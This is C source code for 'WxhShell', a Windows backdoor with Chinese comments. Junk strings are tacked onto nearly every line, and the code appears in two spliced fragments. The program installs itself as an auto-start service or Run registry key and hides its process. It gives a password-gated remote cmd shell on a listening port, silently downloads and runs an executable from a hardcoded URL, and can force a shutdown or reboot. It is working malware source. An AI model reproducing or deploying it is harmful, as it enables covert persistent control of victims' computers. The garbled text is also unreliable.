  case 'd': { ?0%lB=qQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 39OZZaWL  
    if(Boot(SHUTDOWN)) Bp}<H<@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "8-]6p3u  
    else { r6^DD$X  
    closesocket(wsh); 0c]Lm?&  
    ExitThread(0); 6gp3n;D  
    } !_]WUQvV?  
    break; O9opX\9  
    } ,3^N_>d$W  
  // 获取shell Tj>~#~  
  case 's': { $N+azal+y  
    CmdShell(wsh); >%7iL#3%  
    closesocket(wsh); t?/#:J*_7  
    ExitThread(0); % $ 5hC9  
    break; ~<|xS  
  } 2LgRgY{Bl  
  // 退出 K$rH{dUM  
  case 'x': { [E=t{&t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Z fg  
    CloseIt(wsh); QutQG  
    break; PPohpdd)  
    } bzZEwMc6  
  // 离开 /$B<+;L!#  
  case 'q': { vHao y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 50CU|  
    closesocket(wsh); A }dl@  
    WSACleanup(); /P,J);Y  
    exit(1); ed& ,  
    break; MJK L4 G  
        } J L]6o8x  
  } *s_)E 2  
  } JeiW z1t  
?p/i}28=y  
  // 提示信息 @$Y`I{Xf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pO"V9[p]  
} wKwireOs  
  } '*22j ]  
rQ/S|gG  
  return; S9mj/GpL3  
} e\/Lcng  
6tP^_9njy  
// shell模块句柄 iA=9Lel  
int CmdShell(SOCKET sock) Nn%{K a  
{ Jln dypE  
STARTUPINFO si; f4uK_{  
ZeroMemory(&si,sizeof(si)); K^9!Qp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vk[m$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n- p|7N  
PROCESS_INFORMATION ProcessInfo; Cgt{5  
char cmdline[]="cmd"; Y0U:i.)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p=eSHs{>A  
  return 0; M,6m*  
} mw.9cDf  
JgEpqA12  
// 自身启动模式 qdzc"-gH`  
int StartFromService(void) E_-CsL%  
{ KbSIKj  
typedef struct K47W7zR  
{ (]rtBeT  
  DWORD ExitStatus; %<K`d  
  DWORD PebBaseAddress; c^I_~OwaE  
  DWORD AffinityMask; voCQ_~*)9  
  DWORD BasePriority; DN!:Rm uc  
  ULONG UniqueProcessId; oc>,5 x  
  ULONG InheritedFromUniqueProcessId; M,:GMO:?a  
}   PROCESS_BASIC_INFORMATION; ?-J\~AXL  
RBiDU}j  
PROCNTQSIP NtQueryInformationProcess; GtbI w  
entO"~*EX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C 2FewsRz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OZ0q6"  
h@/c76}f6p  
  HANDLE             hProcess; |UE&M3S  
  PROCESS_BASIC_INFORMATION pbi; ,D>$N3;  
u|APx8?"o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N }Z"$4  
  if(NULL == hInst ) return 0; {B uh5U,  
)9J&M6LX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'Aai.PE:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t<x0?vfD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d:Wh0y}  
@ScH"I];uA  
  if (!NtQueryInformationProcess) return 0; Id|38   
1+v)#Wj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;L++H5Kz6  
  if(!hProcess) return 0; Kp8!^os  
]uj6-0q){W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ho;Km  
sZ7{_}B  
  CloseHandle(hProcess); EnZrnoGM  
%YA=W=Yd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4w\cS&X~C  
if(hProcess==NULL) return 0; (+(YO\ng6  
,J~kwJ$L  
HMODULE hMod; cl30"WK!  
char procName[255]; td&W>(3d  
unsigned long cbNeeded; h )fi9  
^.M*pe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /c8F]fkZ=  
zuwCN.  
  CloseHandle(hProcess); +.NopI3:  
f_7a) 'V4  
if(strstr(procName,"services")) return 1; // 以服务启动 *h$Z:p-g  
aB+Ux< -  
  return 0; // 注册表启动 PJsiT4<  
} },e f(  
D~G24k6b3  
// 主模块 ?,O{,2}  
int StartWxhshell(LPSTR lpCmdLine) a>G|t5w  
{ s -~Tf|  
  SOCKET wsl; -!k"*P  
BOOL val=TRUE; vn9_tL&  
  int port=0; he;&KzEu  
  struct sockaddr_in door; wZ5 + H%x  
|#Z:v1]"  
  if(wscfg.ws_autoins) Install(); /MO|q  
%70sS].@  
port=atoi(lpCmdLine); )E'iC  
g,@0 ;uVq  
if(port<=0) port=wscfg.ws_port; +x\b- '  
2r^|  
  WSADATA data; hqmKUlo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]2+7?QL,  
'!I^Lfz-Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FcB]wz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )#N)w5DU  
  door.sin_family = AF_INET; " +'E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RU|{'zC\v  
  door.sin_port = htons(port); i"p)%q~ z  
HY4X;^hF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ML^c-xY(  
closesocket(wsl); T XWi5f[  
return 1; a2 e-Q({  
} N=YRYU o  
s+8 v7ZJ  
  if(listen(wsl,2) == INVALID_SOCKET) { q["CT&0  
closesocket(wsl); $*tq$DZ4&  
return 1; 3M=ym.  
} R_e{H^pY^  
  Wxhshell(wsl); PMebn$(  
  WSACleanup(); ^F"Q~?D)  
Fc% @  
return 0; > SU2Jw  
W9D]s~bO;  
} 5zWxI]4d\  
QWp,(Mv:r  
// 以NT服务方式启动 VImcW;Xa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X>(?  
{ N{U``LV  
DWORD   status = 0; v}q3_m]   
  DWORD   specificError = 0xfffffff; I ww.Nd2  
gNY}`'~hr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P,^`|\#7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E"ijNs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RcIGIt  
  serviceStatus.dwWin32ExitCode     = 0; t."hAvRL  
  serviceStatus.dwServiceSpecificExitCode = 0; %"Q{|}  
  serviceStatus.dwCheckPoint       = 0; y w)q3zC  
  serviceStatus.dwWaitHint       = 0; F:"<4hiA"  
a;jXMR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /B73|KB+  
  if (hServiceStatusHandle==0) return; 03Pa; n  
g .ty#Z=:  
status = GetLastError(); sDL@e33Yb  
  if (status!=NO_ERROR) 9tvLj5~  
{ [XK Ke  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TR/'L!EE  
    serviceStatus.dwCheckPoint       = 0; |!NKKvf  
    serviceStatus.dwWaitHint       = 0; f0]8/)  
    serviceStatus.dwWin32ExitCode     = status; _C$JO   
    serviceStatus.dwServiceSpecificExitCode = specificError; sS/#)/B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rd7Xs  
    return; ,iY/\ U''  
  } @5+ JXD  
]:m>pI*z.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d~1Nct$:  
  serviceStatus.dwCheckPoint       = 0; pCS2sq8RC  
  serviceStatus.dwWaitHint       = 0; mZDL=p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yNMnByg3?  
} *u^N_y  
b0|q@!z>  
// 处理NT服务事件,比如:启动、停止 {KYbsD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m`l3@ Z  
{ ]@)T]  
switch(fdwControl) /*\pm!]._^  
{ , v,mBYaU  
case SERVICE_CONTROL_STOP: <8nl}^d5  
  serviceStatus.dwWin32ExitCode = 0; FjYih>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~?TG SD@(  
  serviceStatus.dwCheckPoint   = 0; 7714}%Z  
  serviceStatus.dwWaitHint     = 0; Ta^l1]9.*  
  { chv0\k"'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Cg[]y1Ne  
  } ~= qJSb  
  return; m2{3j[  
case SERVICE_CONTROL_PAUSE: i j&_>   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p_T>"v  
  break; '# K:e  
case SERVICE_CONTROL_CONTINUE: o%_MTCANy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eq +t%  
  break; 1~/?W^ir  
case SERVICE_CONTROL_INTERROGATE: {a -bew  
  break; Sp8Xka~5*#  
}; rV.04m,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # hvLv  
} 9fp@d  
MN1 kR  
// 标准应用程序主函数 -{H; w=9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }? j>V  
{ 2(~Y ^_  
)f(.{M  
// 获取操作系统版本 wG6@. ;3  
OsIsNt=GetOsVer(); 3";Rw9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $@k[Xh  
2K?~)q&t*  
  // 从命令行安装 *c'nPa$+|S  
  if(strpbrk(lpCmdLine,"iI")) Install(); j. UQLi&`  
pMZKF=  
  // 下载执行文件 <%WN<T{q|  
if(wscfg.ws_downexe) { 8l,`~jvU!*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I`Goc!5t  
  WinExec(wscfg.ws_filenam,SW_HIDE); *((wp4b  
} Itn7Kl  
OL+dx`Y  
if(!OsIsNt) { 0IU>KGJ-0s  
// 如果时win9x,隐藏进程并且设置为注册表启动 :.KN;+tP  
HideProc(); M JJ]8:%  
StartWxhshell(lpCmdLine); GQ<]Sd}[  
} h&Thq52R  
else |tL57Wu93  
  if(StartFromService()) =\CJsS.  
  // 以服务方式启动 H}G=%j0  
  StartServiceCtrlDispatcher(DispatchTable); =*EIe z*.x  
else 242dT/j  
  // 普通方式启动 *xm(K +j  
  StartWxhshell(lpCmdLine); *=UxX ] 0y  
Pp-\#WJ  
return 0; E+wd9/;  
} f4.k%|]  
lR] z8 &  
g$C-G5/bjD  
D5]4(]k&  
=========================================== c32IO&W4  
.Cv0Ze  
S;a'@5  
K"~Tk`[0Q  
h%'4V<V  
QP/6N9/  
" [^wEKRt&  
_hP siZY9  
#include <stdio.h> ~x<nz/^  
#include <string.h> s|iph~W!L  
#include <windows.h> C9l5zb~D  
#include <winsock2.h> (eX9O4  
#include <winsvc.h> huh-S ,M  
#include <urlmon.h> WT(inf[  
6u-@_/O5R3  
#pragma comment (lib, "Ws2_32.lib") / S  
#pragma comment (lib, "urlmon.lib") rGb7p`J  
~"\qX+  
#define MAX_USER   100 // 最大客户端连接数 08)X:@ w?  
#define BUF_SOCK   200 // sock buffer mmk]Doy?#  
#define KEY_BUFF   255 // 输入 buffer [Xp{z tGE  
%7tQam  
#define REBOOT     0   // 重启 [$; \1P/  
#define SHUTDOWN   1   // 关机 z{h#l!Edh  
`J*~B  
#define DEF_PORT   5000 // 监听端口 L<'8#J[_5  
OO%< ~H  
#define REG_LEN     16   // 注册表键长度 -TnvX(ok4  
#define SVC_LEN     80   // NT服务名长度 Fua:& 77  
VAkZ@ u3'~  
// 从dll定义API u`E24~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eL)* K>T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BcJ]bIbKb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cj).  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cd8ZZ 8L  
[hy:BV6H+  
// wxhshell配置信息 gH87e  
struct WSCFG { ;zy[xg.7  
  int ws_port;         // 监听端口 ejq2]^O4c  
  char ws_passstr[REG_LEN]; // 口令 C)^FRnb  
  int ws_autoins;       // 安装标记, 1=yes 0=no O6rrv,+_L  
  char ws_regname[REG_LEN]; // 注册表键名 >dH5n$Gb  
  char ws_svcname[REG_LEN]; // 服务名 <^:e)W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g=eYl_P6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NOOP_:(7H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :,.g_@wvG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  =[Lo9Sg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $lkd9r1   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x;H#-^LxW=  
u Qy5t:!  
}; _n9+(X3  
$`q8-+{  
// default Wxhshell configuration a }6Fj&hj  
struct WSCFG wscfg={DEF_PORT, KM$5ZbCF:  
    "xuhuanlingzhe", ?VM#Nf\  
    1, Dd+ f,$  
    "Wxhshell", %(4G[R[  
    "Wxhshell", nnBgTtsC]  
            "WxhShell Service", V\axOz!  
    "Wrsky Windows CmdShell Service", .E !p  
    "Please Input Your Password: ", }5n((7@X  
  1, r,p6J7/lfS  
  "http://www.wrsky.com/wxhshell.exe", nquKeH  
  "Wxhshell.exe" *SkUkqP9z  
    }; AF{k^^|H  
K`.wj8zGY  
// 消息定义模块 1](5wK-Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F",]*> r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DJl06-s V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `?{Hs+4P5  
char *msg_ws_ext="\n\rExit."; %qA +z Pf  
char *msg_ws_end="\n\rQuit."; ,e"A9ik#  
char *msg_ws_boot="\n\rReboot..."; .y7&!a35  
char *msg_ws_poff="\n\rShutdown..."; w, 0tY=h6  
char *msg_ws_down="\n\rSave to "; )"7hyW5  
KZ ezA4  
char *msg_ws_err="\n\rErr!"; 3[Pa~]yS  
char *msg_ws_ok="\n\rOK!"; YxMOr\B  
]a% *$TF  
char ExeFile[MAX_PATH]; T!6H5>zA  
int nUser = 0; 1j*I`xZ  
HANDLE handles[MAX_USER]; '[shY  
int OsIsNt; !Ju?REH   
2A3;#v  
SERVICE_STATUS       serviceStatus; \Cx) ~bq<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <YbOO{  
$)| l#'r  
// 函数声明 W(*:8}m,p  
int Install(void); Wpom{-  
int Uninstall(void); 9kPwUAw  
int DownloadFile(char *sURL, SOCKET wsh); oF/5mh__(K  
int Boot(int flag); 9%\<x  
void HideProc(void); K?')#%Z/{#  
int GetOsVer(void); RL>Nl ow  
int Wxhshell(SOCKET wsl); 5GK=R aV  
void TalkWithClient(void *cs); }G&#pw2  
int CmdShell(SOCKET sock); N" |^AF  
int StartFromService(void); `Rj<qz^7  
int StartWxhshell(LPSTR lpCmdLine); mi|O)6>8n  
?{#P.2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cna@3)_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jY-i`rJN  
Auhw(b>}TW  
// 数据结构和表定义 w<_.T#  
SERVICE_TABLE_ENTRY DispatchTable[] = fys@%PZq  
{ qs6yEuh#  
{wscfg.ws_svcname, NTServiceMain}, #bPio  
{NULL, NULL} p$}iBk0B(z  
}; -@ #b<"1  
x8p#WB  
// 自我安装 |u)?h] >  
int Install(void) &Pt|  
{ LGT\1u  
  char svExeFile[MAX_PATH]; e , zR  
  HKEY key; /:>f$k4~h  
  strcpy(svExeFile,ExeFile); bG +p  
'#<?QE!d2  
// 如果是win9x系统,修改注册表设为自启动 x]%e_  
if(!OsIsNt) { ?8Cxt|o>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )rD] y2^<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !@-j!Ub  
  RegCloseKey(key); oaI7j=Gp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7\^b+*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N s9cx  
  RegCloseKey(key); !U#kUj:4I  
  return 0; `"[VkQFB/  
    } aPB %6c=  
  } o_U=]mEDY  
} ~fsAPIQ  
else { 0 TSj]{[  
xc R  
// 如果是NT以上系统,安装为系统服务 .hgc1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v%> ?~`Y  
if (schSCManager!=0) ?[Q;275  
{ Z~g~,q  
  SC_HANDLE schService = CreateService =HP_IG_  
  ( HKP\`KBC j  
  schSCManager, )8&Q.? T  
  wscfg.ws_svcname, C 0*k@kGy  
  wscfg.ws_svcdisp, 6KhHS@Z  
  SERVICE_ALL_ACCESS, GZQ)Tz R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J),7ukLu^  
  SERVICE_AUTO_START, c[<lr  
  SERVICE_ERROR_NORMAL, [w~teX0!  
  svExeFile, N;D (_:^  
  NULL, e~J% NU'&  
  NULL, q=bJ9iJsq  
  NULL, <(d ^2-0  
  NULL, 1*?IDYB  
  NULL N!;Y;<Ro_  
  ); E?z 3&C  
  if (schService!=0) 6fPuTQ}fY>  
  { ,e>C)wq;  
  CloseServiceHandle(schService); M#})  
  CloseServiceHandle(schSCManager); /'E+(Y&:J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $$ {ebt  
  strcat(svExeFile,wscfg.ws_svcname); c@ En4[a'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { * ok89 ad  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ] V]~I.  
  RegCloseKey(key); 6\O4R  
  return 0; -O~WHi5}  
    } |IH-a"  
  } "eI-Y`O,  
  CloseServiceHandle(schSCManager); j3`:;'L  
}  ^]wm Y  
} 4'+/R%jk"  
_@sqCf%|  
return 1; S=[K/Kf-  
}  A`#v-  
/lttJJDU  
// 自我卸载 8c+i+gp!  
int Uninstall(void) EPI mh  
{ t>&$_CSWK  
  HKEY key;  ceVej'  
;^}cZ  
if(!OsIsNt) { lZ^XZjwoM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CJjma=XH  
  RegDeleteValue(key,wscfg.ws_regname); / c/!13|  
  RegCloseKey(key); MnKEZ: 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jY>KF'y  
  RegDeleteValue(key,wscfg.ws_regname); 8<)[+ @$0  
  RegCloseKey(key); k4pvp5}%  
  return 0; +ls *04  
  } HJBUN1n  
} }K"=sE  
} A &w)@DOe  
else { dSIMwu6u  
kp<9o!?)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (U!WD`Ym  
if (schSCManager!=0) E_WiQ?p   
{ 0plRsZ}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I" sKlMD  
  if (schService!=0) l:Ci'=  
  { TKoO\\  
  if(DeleteService(schService)!=0) { }M'\s  
  CloseServiceHandle(schService); 9jaYmY]~  
  CloseServiceHandle(schSCManager); s26s:A3rh  
  return 0; E'[pNU*"x-  
  } 28X)s!W'  
  CloseServiceHandle(schService); }}grJh>tGg  
  } f(D?g  
  CloseServiceHandle(schSCManager); U <4<8'  
} M/d!&Bk  
} SL%4w<  
xZ`t~4qR  
return 1; zd#qBj]g  
} a;*&q/{o  
8Mws?]\/q  
// 从指定url下载文件 MrOW&7  
int DownloadFile(char *sURL, SOCKET wsh) .vQ2w  
{ Yz-b~D/=}  
  HRESULT hr; J9poqp@`MG  
char seps[]= "/"; HaB=nLAT  
char *token; n{4&('NRFP  
char *file; P[XE5puC  
char myURL[MAX_PATH]; tm+}@CM^.  
char myFILE[MAX_PATH]; woR((K] #G  
.s7/bF  
strcpy(myURL,sURL); ,vg8iR a  
  token=strtok(myURL,seps); 3w{ i5gGn  
  while(token!=NULL) Y;&Cmi  
  { Ks7s2vK^  
    file=token; vGm;en   
  token=strtok(NULL,seps); +/Y )s5@<  
  }  Kn\Oj=4  
%*}JDx#@  
GetCurrentDirectory(MAX_PATH,myFILE); fM S-  
strcat(myFILE, "\\"); 0pkU1t~9  
strcat(myFILE, file); Mv4JF(,S  
  send(wsh,myFILE,strlen(myFILE),0); ;HqK^[1\  
send(wsh,"...",3,0); f_raICO{R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dqF--)Nb  
  if(hr==S_OK) 1f[!=p  
return 0; 8{?Oi'-|0  
else D*D83z OzN  
return 1; &rw|fF|]  
C:4h  
} Zls4@/\Q  
<PV @JJ"  
// 系统电源模块 3%<ia$  
int Boot(int flag) BvX!n"QIb  
{ gN mp'Lm  
  HANDLE hToken; B>?. Nr  
  TOKEN_PRIVILEGES tkp; $ P#k|A  
'Iu$4xo`[  
  if(OsIsNt) { xO?~@5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *vBcT.|,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zI7-xqZ  
    tkp.PrivilegeCount = 1; {_(;&\5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MIt\[EB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,dh*GJ{5  
if(flag==REBOOT) { 00b )Bg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :O//A6 v  
  return 0; s/,St!A 4!  
} /}M@ @W  
else {  ZfvFs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uE5kL{Fv  
  return 0; rxa8X wo8  
} _HGDqj L  
  } hrcR"OZ~X  
  else { )QI]b4[  
if(flag==REBOOT) { W&bh&KzCW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &lGp /m:  
  return 0; Q`19YX  
} eKStt|M'  
else { 5vP*oD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cp.)K!$  
  return 0; 6x[gg !;85  
} U.wgae].O;  
} N@j|I* y|  
G e~&Ble  
return 1;  NsJUruN  
} !Rsx)  
)*s.AFu]7x  
// win9x进程隐藏模块 vNJ!i\bX  
void HideProc(void) hsfVKlw-  
{ m! p'nP  
|(S=G'AtU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CiPD+I  
  if ( hKernel != NULL ) c>DAR  
  { PJ #uYM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u.!Pda  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mw+]*  
    FreeLibrary(hKernel); Wgx lQXi-B  
  } ~^VcTSY@<L  
s*]1d*B!  
return; H%])>  
} 8Cm^#S,+  
{W0]0_mI(  
// 获取操作系统版本 % ;6e@U}  
int GetOsVer(void) urog.Q  
{ qvYw[D#.  
  OSVERSIONINFO winfo; !T @|9PCp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :5CwRg  
  GetVersionEx(&winfo); *AxKV5[H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \:" s*-  
  return 1; Bxm^Arc>  
  else elP`5BuN  
  return 0; y4shW|>5_  
} %AW  
^PWZ1.T  
// 客户端句柄模块 wF38c]r`\<  
int Wxhshell(SOCKET wsl) &:{| nDT_2  
{ zo]7#  
  SOCKET wsh; /{qr~7k,oQ  
  struct sockaddr_in client; NTVG'3o  
  DWORD myID; "=/XIM.  
'-ACNgNn  
  while(nUser<MAX_USER) dks0  
{ QZ{:#iuig  
  int nSize=sizeof(client); ;J?!D x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L2K4nTA  
  if(wsh==INVALID_SOCKET) return 1; 0n3O;=[aV  
b5H[~8mf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ICV67(Ui  
if(handles[nUser]==0) x$M[/ID0  
  closesocket(wsh); ulVHsWg  
else n}?kQOg0/  
  nUser++; Ui1K66{  
  } -{P)\5.L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TWxMexiW  
8vaqj/  
  return 0; MK=:L   
} v3@)q0@  
1 k H  
// 关闭 socket zHu:Ec7  
void CloseIt(SOCKET wsh) WddU|-W  
{  NU_VUd2  
closesocket(wsh); Q$RP2&  
nUser--; h!)(R<  
ExitThread(0); %7V?7BE  
} LY^BkH'  
"w_(p|cm=  
// 客户端请求句柄 VDQ&Bm JE  
void TalkWithClient(void *cs) LU%g>?m.]  
{ gw5CU)r4$  
S9xC> |<  
  SOCKET wsh=(SOCKET)cs; r{Fu|aoa;5  
  char pwd[SVC_LEN]; 6|9];)  
  char cmd[KEY_BUFF]; } 10Dvt>+  
char chr[1]; wePMBL1P*  
int i,j; w|$;$a7)  
+  ^~n09  
  while (nUser < MAX_USER) { iAXx`>}m  
DpTQPu9  
if(wscfg.ws_passstr) { 3HfT9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -98bX]8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y3-15:-  
  //ZeroMemory(pwd,KEY_BUFF); o]k[l ;  
      i=0; n}._Nb 5  
  while(i<SVC_LEN) { (r7~ccy4  
cLB"<mG  
  // 设置超时 $x`U)pv  
  fd_set FdRead; XvdK;  
  struct timeval TimeOut; \W$>EH  
  FD_ZERO(&FdRead); ~}TVM%0RTq  
  FD_SET(wsh,&FdRead); 57r\s 8  
  TimeOut.tv_sec=8; ?DpMR/  
  TimeOut.tv_usec=0; OO\UF6MCU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6%fU}si,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); az19-QIcg  
G.(9I~!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i2swots  
  pwd=chr[0]; V:l; 2rW  
  if(chr[0]==0xd || chr[0]==0xa) { 0eb`9yM  
  pwd=0; >0~y "~M  
  break; tb_}w@:kU  
  } 6%:'2;xM  
  i++; %=NqxF>>  
    } u/hD9g~H7K  
AoTL )',  
  // 如果是非法用户,关闭 socket O-:~6A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /S|Pq!4<  
} W]reQ&<Z  
zJ@f {RWZa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )b5MP1H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a0.)zgWr  
L x(Y=  
while(1) { >\VZ9bP<   
,"*[T\u  
  ZeroMemory(cmd,KEY_BUFF); N!btj,vx  
&;C|=8eB  
      // 自动支持客户端 telnet标准   WRD^S:`BH  
  j=0; ;1F3.ibE  
  while(j<KEY_BUFF) { Ba@UX(t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z+wBZn{0I  
  cmd[j]=chr[0]; !5p 01]7  
  if(chr[0]==0xa || chr[0]==0xd) { 7(wY4T  
  cmd[j]=0; H#Vs3*VK  
  break; m T\]  
  } =(@J+Ou  
  j++; GKm)wOb(*S  
    } *a\1*Jk  
)%UO@4  
  // 下载文件 9#pl BtQ**  
  if(strstr(cmd,"http://")) { 6IeHZ)jGj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~Uga=&  
  if(DownloadFile(cmd,wsh)) v bh\uv&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /A{znE  
  else !o> /gI`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o'Po<I  
  } Fet>KacTht  
  else { ~EdmVEu  
 +/AW6  
    switch(cmd[0]) { 80 p7+W2m  
  h!MZ 6}zb)  
  // 帮助 a}%>i~v<  
  case '?': { x/5%a{~j2  
